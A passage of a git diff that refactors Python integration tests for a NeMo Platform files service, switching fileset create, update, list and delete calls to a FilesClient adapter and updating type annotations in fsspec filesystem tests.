create_fileset(sdk, purpose="generic") as fileset: - updated = sdk.files.filesets.update( - fileset.name, + updated = files.update_fileset( + name=fileset.name, workspace=fileset.workspace, - description="Updated description", - custom_fields={"status": "modified"}, - ) + body=UpdateFilesetRequest( + description="Updated description", + custom_fields={"status": "modified"}, + ), + ).data() # Verify the returned object has all expected fields assert updated.id == fileset.id @@ -586,7 +609,7 @@ def test_fileset_create_with_dataset_metadata(self, sdk: NeMoPlatform): def test_fileset_create_rejects_invalid_dataset_schema_metadata(self, sdk: NeMoPlatform): """Test invalid JSON Schema metadata is rejected at fileset create time.""" with pytest.raises( - (APIStatusError, ValidationError), + (NemoHTTPError, ValidationError), match="definitely-not-a-valid-json-schema-type", ): with create_fileset( @@ -611,11 +634,12 @@ def test_fileset_default_storage_path(self, sdk: NeMoPlatform): def test_fileset_delete_removes_storage_data(self, sdk: NeMoPlatform): """Test that deleting a fileset also deletes the underlying storage directory.""" + files = client_from_platform(sdk, FilesClient) # Create fileset manually (not using context manager) so we control deletion - fileset = sdk.files.filesets.create( + fileset = files.create_fileset( + body=CreateFilesetRequest(name="delete-storage-test"), workspace=DEFAULT_WORKSPACE_ID, - name="delete-storage-test", - ) + ).data() try: # Upload some files @@ -640,7 +664,7 @@ def test_fileset_delete_removes_storage_data(self, sdk: NeMoPlatform): assert (storage_path / "subdir" / "file2.txt").exists() # Delete the fileset - sdk.files.filesets.delete(fileset.name, workspace=fileset.workspace) + files.delete_fileset(name=fileset.name, workspace=fileset.workspace) # Verify storage directory is gone assert not storage_path.exists() @@ -648,13 +672,14 @@ def test_fileset_delete_removes_storage_data(self, sdk: NeMoPlatform): except Exception: # Clean up on failure try: - sdk.files.filesets.delete(fileset.name, workspace=fileset.workspace) + files.delete_fileset(name=fileset.name, workspace=fileset.workspace) except Exception: pass raise def test_fileset_list_filter_by_created_at_gte(self, sdk: NeMoPlatform): """Test listing filesets with created_at[gte] filter.""" + files = client_from_platform(sdk, FilesClient) # Record time before creating filesets before_create = datetime.now(timezone.utc) - timedelta(seconds=5) @@ -663,9 +688,9 @@ def test_fileset_list_filter_by_created_at_gte(self, sdk: NeMoPlatform): with create_fileset(sdk) as fileset2: # Filter by created_at[gte] should include both new filesets filtered = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"created_at": {"$gte": before_create.isoformat(timespec="seconds")}}, + query_params={"filter": {"created_at": {"$gte": before_create.isoformat(timespec="seconds")}}}, ).items() ) fileset_ids = {fs.id for fs in filtered} @@ -674,6 +699,7 @@ def test_fileset_list_filter_by_created_at_gte(self, sdk: NeMoPlatform): def test_fileset_list_filter_by_created_at_lte(self, sdk: NeMoPlatform): """Test listing filesets with created_at[lte] filter.""" + files = client_from_platform(sdk, FilesClient) with create_fileset(sdk) as fileset1: # Record time after creating first fileset after_first = datetime.now(timezone.utc) @@ -686,9 +712,9 @@ def test_fileset_list_filter_by_created_at_lte(self, sdk: NeMoPlatform): # should include first fileset but might include second # (depends on timing precision) filtered = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"created_at": {"$lte": after_first.isoformat()}}, + query_params={"filter": {"created_at": {"$lte": after_first.isoformat()}}}, ).items() ) fileset_ids = {fs.id for fs in filtered} @@ -696,6 +722,7 @@ def test_fileset_list_filter_by_created_at_lte(self, sdk: NeMoPlatform): def test_fileset_list_filter_by_created_at_range(self, sdk: NeMoPlatform): """Test listing filesets with both created_at[gte] and created_at[lte].""" + files = client_from_platform(sdk, FilesClient) before_create = datetime.now(timezone.utc) with create_fileset(sdk) as fileset: @@ -703,12 +730,14 @@ def test_fileset_list_filter_by_created_at_range(self, sdk: NeMoPlatform): # Filter by date range that includes the fileset filtered = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={ - "created_at": { - "$gte": before_create.isoformat(), - "$lte": after_create.isoformat(), + query_params={ + "filter": { + "created_at": { + "$gte": before_create.isoformat(), + "$lte": after_create.isoformat(), + } } }, ).items() @@ -718,6 +747,7 @@ def test_fileset_list_filter_by_created_at_range(self, sdk: NeMoPlatform): def test_fileset_list_filter_by_created_at_excludes_older(self, sdk: NeMoPlatform): """Test that created_at[gte] filter excludes older filesets.""" + files = client_from_platform(sdk, FilesClient) with create_fileset(sdk) as old_fileset: # Delay to ensure timestamps differ # Using 1s because SQLite doesn't track sub-second precision @@ -730,9 +760,9 @@ def test_fileset_list_filter_by_created_at_excludes_older(self, sdk: NeMoPlatfor with create_fileset(sdk) as new_fileset: # Filter by created_at[gte] after old fileset was created filtered = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"created_at": {"$gte": after_old.isoformat()}}, + query_params={"filter": {"created_at": {"$gte": after_old.isoformat()}}}, ).items() ) fileset_ids = {fs.id for fs in filtered} @@ -743,14 +773,15 @@ def test_fileset_list_filter_by_created_at_excludes_older(self, sdk: NeMoPlatfor def test_fileset_list_filter_by_updated_at(self, sdk: NeMoPlatform): """Test listing filesets with updated_at filter.""" + files = client_from_platform(sdk, FilesClient) before_create = datetime.now(timezone.utc) with create_fileset(sdk) as fileset: # Filter by updated_at[gte] should include the fileset filtered = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"updated_at": {"$gte": before_create.isoformat()}}, + query_params={"filter": {"updated_at": {"$gte": before_create.isoformat()}}}, ).items() ) fileset_ids = {fs.id for fs in filtered} @@ -758,17 +789,20 @@ def test_fileset_list_filter_by_updated_at(self, sdk: NeMoPlatform): def test_fileset_list_combined_filters_with_datetime(self, sdk: NeMoPlatform): """Test combining datetime filters with other filters.""" + files = client_from_platform(sdk, FilesClient) before_create = datetime.now(timezone.utc) with create_fileset(sdk, purpose="dataset") as dataset_fileset: with create_fileset(sdk, purpose="generic") as generic_fileset: # Combine purpose filter with created_at filter filtered = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={ - "purpose": "dataset", - "created_at": {"$gte": before_create.isoformat()}, + query_params={ + "filter": { + "purpose": "dataset", + "created_at": {"$gte": before_create.isoformat()}, + } }, ).items() ) diff --git a/services/core/files/tests/integration/test_files_sdk.py b/services/core/files/tests/integration/test_files_sdk.py index 5f159e995e..8a09cdc661 100644 --- a/services/core/files/tests/integration/test_files_sdk.py +++ b/services/core/files/tests/integration/test_files_sdk.py @@ -24,8 +24,14 @@ import pytest from nemo_platform import NeMoPlatform, NotFoundError, PermissionDeniedError -from nemo_platform_plugin.client import errors as nemo_errors -from nemo_platform_plugin.files.types import FilesetFileOutput, FilesetOutput +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import ( + CreateFilesetRequest, + FilesetFileOutput, + FilesetOutput, + UpdateFilesetRequest, +) from nmp.core.files.testing.utils import create_fileset, test_fileset_name @@ -1036,7 +1042,7 @@ def test_download_glob_no_matches(self, sdk: NeMoPlatform, fileset: FilesetOutpu def test_download_content_non_existent_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test downloading content of a file that doesn't exist raises NotFoundError.""" # Binary/streaming errors are deferred (raised after send()), bypassing remapping. - with pytest.raises((NotFoundError, nemo_errors.NotFoundError)): + with pytest.raises(NotFoundError): sdk.files.download_content( fileset=fileset.name, workspace=fileset.workspace, @@ -1050,7 +1056,7 @@ class TestFilesDeleteEdgeCases: def test_delete_non_existent_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test deleting a file that doesn't exist raises NotFoundError.""" # File delete goes through fsspec rm → deferred error path. - with pytest.raises((NotFoundError, nemo_errors.NotFoundError)): + with pytest.raises(NotFoundError): sdk.files.delete( fileset=fileset.name, workspace=fileset.workspace, @@ -1063,18 +1069,21 @@ class TestFilesetImmutabilityForNonServicePrincipals: def test_create_fileset_with_service_source_as_default_principal_fails_to_set(self, sdk: NeMoPlatform): """Non-service principal cannot set service_source; it is stripped on create.""" + files = client_from_platform(sdk, FilesClient) workspace = sdk.workspace or "default" name = test_fileset_name() - sdk.files.filesets.create( + files.create_fileset( + body=CreateFilesetRequest( + name=name, + description="Test", + custom_fields={"service_source": "customizer"}, + ), workspace=workspace, - name=name, - description="Test", - custom_fields={"service_source": "customizer"}, ) - created = sdk.files.filesets.retrieve(name=name, workspace=workspace) + created = files.get_fileset(name=name, workspace=workspace).data() # Endpoint strips service_source for non-service principals; fileset must not have it. assert created.custom_fields.get("service_source") is None - sdk.files.filesets.delete(name=name, workspace=workspace) + files.delete_fileset(name=name, workspace=workspace) def test_service_principal_can_set_service_source_and_upload_then_user_cannot_upload( self, sdk_user_and_service: tuple[NeMoPlatform, NeMoPlatform] @@ -1084,11 +1093,17 @@ def test_service_principal_can_set_service_source_and_upload_then_user_cannot_up workspace = sdk_service.workspace or "default" name = test_fileset_name() # Service principal creates fileset with service_source and uploads a file. - created = sdk_service.files.filesets.create( - workspace=workspace, - name=name, - description="Immutability test", - custom_fields={"service_source": "customizer"}, + created = ( + client_from_platform(sdk_service, FilesClient) + .create_fileset( + workspace=workspace, + body=CreateFilesetRequest( + name=name, + description="Immutability test", + custom_fields={"service_source": "customizer"}, + ), + ) + .data() ) assert created.custom_fields.get("service_source") == "customizer" sdk_service.files.upload_content( @@ -1108,7 +1123,7 @@ def test_service_principal_can_set_service_source_and_upload_then_user_cannot_up fileset=name, workspace=workspace, ) - sdk_service.files.filesets.delete(name=name, workspace=workspace) + client_from_platform(sdk_service, FilesClient).delete_fileset(name=name, workspace=workspace) def test_non_service_principal_cannot_overwrite_or_remove_service_source_on_update( self, sdk_user_and_service: tuple[NeMoPlatform, NeMoPlatform] @@ -1118,26 +1133,28 @@ def test_non_service_principal_cannot_overwrite_or_remove_service_source_on_upda workspace = sdk_service.workspace or "default" name = test_fileset_name() # Service principal creates fileset with service_source. - sdk_service.files.filesets.create( + service_files = client_from_platform(sdk_service, FilesClient) + user_files = client_from_platform(sdk_user, FilesClient) + service_files.create_fileset( workspace=workspace, - name=name, - description="Update immutability test", - custom_fields={"service_source": "customizer"}, + body=CreateFilesetRequest( + name=name, + description="Update immutability test", + custom_fields={"service_source": "customizer"}, + ), ) - # User tries to overwrite service_source → must be ignored (preserved). - sdk_user.files.filesets.update( + user_files.update_fileset( name=name, workspace=workspace, - custom_fields={"service_source": "other-service"}, + body=UpdateFilesetRequest(custom_fields={"service_source": "other-service"}), ) - updated = sdk_user.files.filesets.retrieve(name=name, workspace=workspace) + updated = user_files.get_fileset(name=name, workspace=workspace).data() assert updated.custom_fields.get("service_source") == "customizer" - # User tries to remove service_source by sending custom_fields without it → must stay. - sdk_user.files.filesets.update( + user_files.update_fileset( name=name, workspace=workspace, - custom_fields={"other_key": "value"}, + body=UpdateFilesetRequest(custom_fields={"other_key": "value"}), ) - after_remove_attempt = sdk_user.files.filesets.retrieve(name=name, workspace=workspace) + after_remove_attempt = user_files.get_fileset(name=name, workspace=workspace).data() assert after_remove_attempt.custom_fields.get("service_source") == "customizer" - sdk_service.files.filesets.delete(name=name, workspace=workspace) + service_files.delete_fileset(name=name, workspace=workspace) diff --git a/services/core/files/tests/integration/test_fileset_filesystem.py b/services/core/files/tests/integration/test_fileset_filesystem.py index 23960fd91c..eb8d18b3d2 100644 --- a/services/core/files/tests/integration/test_fileset_filesystem.py +++ b/services/core/files/tests/integration/test_fileset_filesystem.py @@ -30,7 +30,9 @@ parse_fileset_path, parse_fileset_ref, ) -from nemo_platform.types.files.fileset import Fileset +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import FilesetOutput class TestParseFilesetRef: @@ -298,13 +300,13 @@ def fs(self, sdk: NeMoPlatform) -> FilesetFileSystem: """Create a FilesetFileSystem backed by the test SDK.""" return sdk.files.fsspec - def test_ls_empty_fileset(self, fs: FilesetFileSystem, fileset: Fileset): + def test_ls_empty_fileset(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test listing an empty fileset.""" path = f"{fileset.workspace}/{fileset.name}" result = fs.ls(path) assert result == [] - def test_ls_with_files(self, fs: FilesetFileSystem, fileset: Fileset): + def test_ls_with_files(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test listing a fileset with files.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/file1.txt", b"content1") @@ -317,7 +319,7 @@ def test_ls_with_files(self, fs: FilesetFileSystem, fileset: Fileset): assert f"{base}#file1.txt" in names assert f"{base}#file2.txt" in names - def test_ls_with_directories(self, fs: FilesetFileSystem, fileset: Fileset): + def test_ls_with_directories(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test that nested files show as directories in listing.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/root.txt", b"root") @@ -331,7 +333,7 @@ def test_ls_with_directories(self, fs: FilesetFileSystem, fileset: Fileset): assert types[f"{base}#root.txt"] == "file" assert types[f"{base}#subdir"] == "directory" - def test_ls_subdirectory(self, fs: FilesetFileSystem, fileset: Fileset): + def test_ls_subdirectory(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test listing files in a subdirectory.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/subdir/file1.txt", b"content1") @@ -343,7 +345,7 @@ def test_ls_subdirectory(self, fs: FilesetFileSystem, fileset: Fileset): assert f"{base}#subdir/file1.txt" in result assert f"{base}#subdir/file2.txt" in result - def test_ls_subdirectory_trailing_slash(self, fs: FilesetFileSystem, fileset: Fileset): + def test_ls_subdirectory_trailing_slash(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test that ls with trailing slash returns same result as without. ls("workspace/fileset/subdir/") should return @@ -362,7 +364,7 @@ def test_ls_subdirectory_trailing_slash(self, fs: FilesetFileSystem, fileset: Fi assert len(result_with_slash) == 2 assert set(result_no_slash) == set(result_with_slash) - def test_cat_file(self, fs: FilesetFileSystem, fileset: Fileset): + def test_cat_file(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading file content with cat.""" content = b"Hello, fsspec!" path = f"{fileset.workspace}/{fileset.name}/test.txt" @@ -372,7 +374,7 @@ def test_cat_file(self, fs: FilesetFileSystem, fileset: Fileset): assert result == content - def test_cat_file_with_range(self, fs: FilesetFileSystem, fileset: Fileset): + def test_cat_file_with_range(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading partial file content with byte range.""" content = b"0123456789ABCDEF" path = f"{fileset.workspace}/{fileset.name}/test.txt" @@ -382,7 +384,7 @@ def test_cat_file_with_range(self, fs: FilesetFileSystem, fileset: Fileset): assert result == b"456789" - def test_open_read(self, fs: FilesetFileSystem, fileset: Fileset): + def test_open_read(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test opening a file for reading.""" content = b"File content for reading" path = f"{fileset.workspace}/{fileset.name}/readable.txt" @@ -393,7 +395,7 @@ def test_open_read(self, fs: FilesetFileSystem, fileset: Fileset): assert result == content - def test_open_write(self, fs: FilesetFileSystem, fileset: Fileset): + def test_open_write(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test opening a file for writing.""" path = f"{fileset.workspace}/{fileset.name}/writable.txt" content = b"Written via fsspec" @@ -405,7 +407,7 @@ def test_open_write(self, fs: FilesetFileSystem, fileset: Fileset): result = fs.cat(path) assert result == content - def test_pipe(self, fs: FilesetFileSystem, fileset: Fileset): + def test_pipe(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test writing file content with pipe.""" path = f"{fileset.workspace}/{fileset.name}/piped.txt" content = b"Piped content" @@ -415,7 +417,7 @@ def test_pipe(self, fs: FilesetFileSystem, fileset: Fileset): result = fs.cat(path) assert result == content - def test_put_file(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_put_file(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test uploading a local file with put_file.""" # Create a local file local_file = tmp_path / "upload.txt" @@ -430,7 +432,7 @@ def test_put_file(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path) result = fs.cat(remote_path) assert result == content - def test_put_file_nested_path(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_put_file_nested_path(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test uploading a file to a nested path with put_file.""" # Create a local file local_file = tmp_path / "nested_upload.txt" @@ -449,7 +451,7 @@ def test_put_file_nested_path(self, fs: FilesetFileSystem, fileset: Fileset, tmp parent_info = fs.info(f"{fileset.workspace}/{fileset.name}/subdir/nested") assert parent_info["type"] == "directory" - def test_rm(self, fs: FilesetFileSystem, fileset: Fileset): + def test_rm(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test deleting a file.""" path = f"{fileset.workspace}/{fileset.name}/to_delete.txt" fs.pipe(path, b"delete me") @@ -460,7 +462,7 @@ def test_rm(self, fs: FilesetFileSystem, fileset: Fileset): assert not fs.exists(path) - def test_info(self, fs: FilesetFileSystem, fileset: Fileset): + def test_info(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test getting file info.""" content = b"Content for info test" path = f"{fileset.workspace}/{fileset.name}/info.txt" @@ -474,14 +476,14 @@ def test_info(self, fs: FilesetFileSystem, fileset: Fileset): assert info["size"] == len(content) assert info["type"] == "file" - def test_info_directory(self, fs: FilesetFileSystem, fileset: Fileset): + def test_info_directory(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test getting info for fileset root (directory).""" path = f"{fileset.workspace}/{fileset.name}" info = fs.info(path) assert info["type"] == "directory" - def test_exists(self, fs: FilesetFileSystem, fileset: Fileset): + def test_exists(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test checking file existence.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/exists.txt", b"I exist") @@ -489,7 +491,7 @@ def test_exists(self, fs: FilesetFileSystem, fileset: Fileset): assert fs.exists(f"{base}/exists.txt") assert not fs.exists(f"{base}/does_not_exist.txt") - def test_parquet_read(self, fs: FilesetFileSystem, fileset: Fileset): + def test_parquet_read(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading a parquet file via fsspec. This validates that range requests work correctly for formats @@ -512,7 +514,7 @@ def test_parquet_read(self, fs: FilesetFileSystem, fileset: Fileset): pd.testing.assert_frame_equal(result, df) - def test_protocol_url(self, fs: FilesetFileSystem, fileset: Fileset): + def test_protocol_url(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test that protocol prefix is handled correctly.""" content = b"Protocol test" base = f"{fileset.workspace}/{fileset.name}" @@ -525,7 +527,7 @@ def test_protocol_url(self, fs: FilesetFileSystem, fileset: Fileset): assert fs.cat(path_no_proto) == content assert fs.cat(path_with_proto) == content - def test_fsspec_filesystem_registration(self, sdk: NeMoPlatform, fileset: Fileset): + def test_fsspec_filesystem_registration(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test that FilesetFileSystem can be instantiated via fsspec.filesystem().""" # Protocol is registered by the autouse fixture fs = fsspec.filesystem( @@ -541,7 +543,7 @@ def test_fsspec_filesystem_registration(self, sdk: NeMoPlatform, fileset: Filese result = fs.ls(path) assert result == [] - def test_find(self, fs: FilesetFileSystem, fileset: Fileset): + def test_find(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test recursive file discovery with find.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/root.txt", b"root") @@ -558,7 +560,7 @@ def test_find(self, fs: FilesetFileSystem, fileset: Fileset): assert f"{base}#dir1/file1.txt" in result assert f"{base}#dir1/subdir/nested.txt" in result - def test_glob(self, fs: FilesetFileSystem, fileset: Fileset): + def test_glob(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test pattern matching with glob.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/data.csv", b"csv") @@ -579,7 +581,7 @@ def test_glob(self, fs: FilesetFileSystem, fileset: Fileset): # All json files including nested assert len(json_all) == 3 - def test_isdir_isfile(self, fs: FilesetFileSystem, fileset: Fileset): + def test_isdir_isfile(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test isdir and isfile type checking.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/file.txt", b"content") @@ -597,7 +599,7 @@ def test_isdir_isfile(self, fs: FilesetFileSystem, fileset: Fileset): assert fs.isdir(f"{base}/subdir") assert not fs.isfile(f"{base}/subdir") - def test_cat_multiple_files(self, fs: FilesetFileSystem, fileset: Fileset): + def test_cat_multiple_files(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading multiple files at once with cat.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/file1.txt", b"content1") @@ -613,7 +615,7 @@ def test_cat_multiple_files(self, fs: FilesetFileSystem, fileset: Fileset): assert result[f"{base}#file2.txt"] == b"content2" assert result[f"{base}#file3.txt"] == b"content3" - def test_walk(self, fs: FilesetFileSystem, fileset: Fileset): + def test_walk(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test directory traversal with walk.""" base = f"{fileset.workspace}/{fileset.name}" fs.pipe(f"{base}/root.txt", b"root") @@ -630,7 +632,7 @@ def test_walk(self, fs: FilesetFileSystem, fileset: Fileset): # Walk returns files with fileset#path format relative to walked directory assert any("root.txt" in f for f in files) - def test_head_tail(self, fs: FilesetFileSystem, fileset: Fileset): + def test_head_tail(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading first/last bytes of a file.""" content = b"0123456789ABCDEFGHIJ" path = f"{fileset.workspace}/{fileset.name}/test.txt" @@ -644,7 +646,7 @@ def test_head_tail(self, fs: FilesetFileSystem, fileset: Fileset): result = fs.tail(path, size=5) assert result == b"FGHIJ" - def test_get_single_file(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_get_single_file(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test downloading a single file with get(). Tests three behaviors: @@ -676,7 +678,7 @@ def test_get_single_file(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path assert (existing_dir / "test.txt").is_file() assert (existing_dir / "test.txt").read_bytes() == content - def test_get_trailing_slash_semantics(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_get_trailing_slash_semantics(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test trailing slash semantics for get() per fsspec docs. From https://filesystem-spec.readthedocs.io/en/latest/copying.html: @@ -745,7 +747,7 @@ def test_get_trailing_slash_semantics(self, fs: FilesetFileSystem, fileset: File assert (dest_source_slash / "file1.txt").read_bytes() == b"file1" assert not (dest_source_slash / "subdir").exists() - def test_get_fileset_root(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_get_fileset_root(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test downloading from fileset root path (workspace/fileset without subpath). When the source path is just the fileset root (no subpath), the trailing @@ -783,7 +785,7 @@ def test_get_fileset_root(self, fs: FilesetFileSystem, fileset: Fileset, tmp_pat assert (dest_no_slash / "data" / "nested" / "deep.txt").read_bytes() == b"deep" assert not (dest_no_slash / fileset.name).exists() - def test_put_fileset_root(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_put_fileset_root(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test uploading to fileset root path (workspace/fileset without subpath). When the dest path is just the fileset root (no subpath), the trailing @@ -822,7 +824,7 @@ def test_put_fileset_root(self, fs: FilesetFileSystem, fileset: Fileset, tmp_pat assert fs.cat(f"{base}/my_data/file2.txt") == b"file2" assert fs.cat(f"{base}/my_data/subdir/nested.txt") == b"nested" - def test_put_single_file_to_fileset_root(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_put_single_file_to_fileset_root(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test uploading a single file to fileset root path. This tests the case: fs.put("local_file.txt", "workspace/fileset") @@ -861,7 +863,7 @@ def test_put_single_file_to_fileset_root(self, fs: FilesetFileSystem, fileset: F # File should be renamed assert fs.cat(f"{base}/renamed.txt") == b"single file content" - def test_put_file_requires_file_path(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_put_file_requires_file_path(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test that put_file (not put) requires a file path in rpath. The low-level put_file method requires rpath to include a file path. @@ -882,7 +884,7 @@ def test_put_file_requires_file_path(self, fs: FilesetFileSystem, fileset: Files fs.put_file(str(local_file), f"{base}/test.txt") assert fs.cat(f"{base}/test.txt") == b"content" - def test_put_trailing_slash_semantics(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_put_trailing_slash_semantics(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test trailing slash semantics for put() per fsspec docs. Source trailing slash controls whether to preserve source directory name: @@ -918,7 +920,7 @@ def test_put_trailing_slash_semantics(self, fs: FilesetFileSystem, fileset: File def test_download_entire_fileset( self, fs: FilesetFileSystem, - fileset: Fileset, + fileset: FilesetOutput, sample_dataset: Path, tmp_path: Path, ): @@ -974,7 +976,7 @@ def test_download_entire_fileset( assert (download_without_slash / "config" / "settings.json").read_bytes() == b'{"batch_size": 32}' assert not (download_without_slash / fileset.name).exists() - def test_concurrent_download_failure_hang(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_concurrent_download_failure_hang(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test that a failure in one concurrent download doesn't cause a hang (sync).""" from unittest.mock import patch @@ -1004,7 +1006,7 @@ async def failing_get_file(rpath, lpath, **kwargs): # If we get here without hanging, the test passes - def test_concurrent_upload_failure_hang(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_concurrent_upload_failure_hang(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test that a failure in one concurrent upload doesn't cause a hang (sync).""" from unittest.mock import patch @@ -1033,7 +1035,7 @@ async def failing_put_file(lpath, rpath, **kwargs): # If we get here without hanging, the test passes - def test_get_callback_hooks(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + def test_get_callback_hooks(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test that get() properly calls callback hooks for progress tracking (sync).""" from fsspec.callbacks import Callback @@ -1093,15 +1095,15 @@ class TestFilesetFileSystemAsync: @pytest.fixture def fs(self, sdk: NeMoPlatform) -> FilesetFileSystem: """Create a FilesetFileSystem backed by the test SDK.""" - return FilesetFileSystem(sdk=sdk, skip_instance_cache=True) + return FilesetFileSystem(client=client_from_platform(sdk, FilesClient), skip_instance_cache=True) - async def test_ls_empty_fileset(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_ls_empty_fileset(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test listing an empty fileset.""" path = f"{fileset.workspace}/{fileset.name}" result = await fs._ls(path) assert result == [] - async def test_ls_with_files(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_ls_with_files(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test listing a fileset with files.""" base = f"{fileset.workspace}/{fileset.name}" await fs._pipe_file(f"{base}/file1.txt", b"content1") @@ -1114,7 +1116,7 @@ async def test_ls_with_files(self, fs: FilesetFileSystem, fileset: Fileset): assert f"{base}#file1.txt" in names assert f"{base}#file2.txt" in names - async def test_ls_with_directories(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_ls_with_directories(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test that nested files show as directories in listing.""" base = f"{fileset.workspace}/{fileset.name}" await fs._pipe_file(f"{base}/root.txt", b"root") @@ -1128,7 +1130,7 @@ async def test_ls_with_directories(self, fs: FilesetFileSystem, fileset: Fileset assert types[f"{base}#root.txt"] == "file" assert types[f"{base}#subdir"] == "directory" - async def test_ls_subdirectory(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_ls_subdirectory(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test listing files in a subdirectory.""" base = f"{fileset.workspace}/{fileset.name}" await fs._pipe_file(f"{base}/subdir/file1.txt", b"content1") @@ -1140,7 +1142,7 @@ async def test_ls_subdirectory(self, fs: FilesetFileSystem, fileset: Fileset): assert f"{base}#subdir/file1.txt" in result assert f"{base}#subdir/file2.txt" in result - async def test_cat_file(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_cat_file(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading file content with cat.""" content = b"Hello, fsspec!" path = f"{fileset.workspace}/{fileset.name}/test.txt" @@ -1150,7 +1152,7 @@ async def test_cat_file(self, fs: FilesetFileSystem, fileset: Fileset): assert result == content - async def test_cat_file_with_range(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_cat_file_with_range(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading partial file content with byte range.""" content = b"0123456789ABCDEF" path = f"{fileset.workspace}/{fileset.name}/test.txt" @@ -1160,7 +1162,7 @@ async def test_cat_file_with_range(self, fs: FilesetFileSystem, fileset: Fileset assert result == b"456789" - async def test_pipe_file(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_pipe_file(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test writing file content with pipe.""" path = f"{fileset.workspace}/{fileset.name}/piped.txt" content = b"Piped content" @@ -1170,7 +1172,7 @@ async def test_pipe_file(self, fs: FilesetFileSystem, fileset: Fileset): result = await fs._cat_file(path) assert result == content - async def test_put_file(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + async def test_put_file(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test uploading a local file with _put_file.""" # Create a local file local_file = tmp_path / "upload.txt" @@ -1185,7 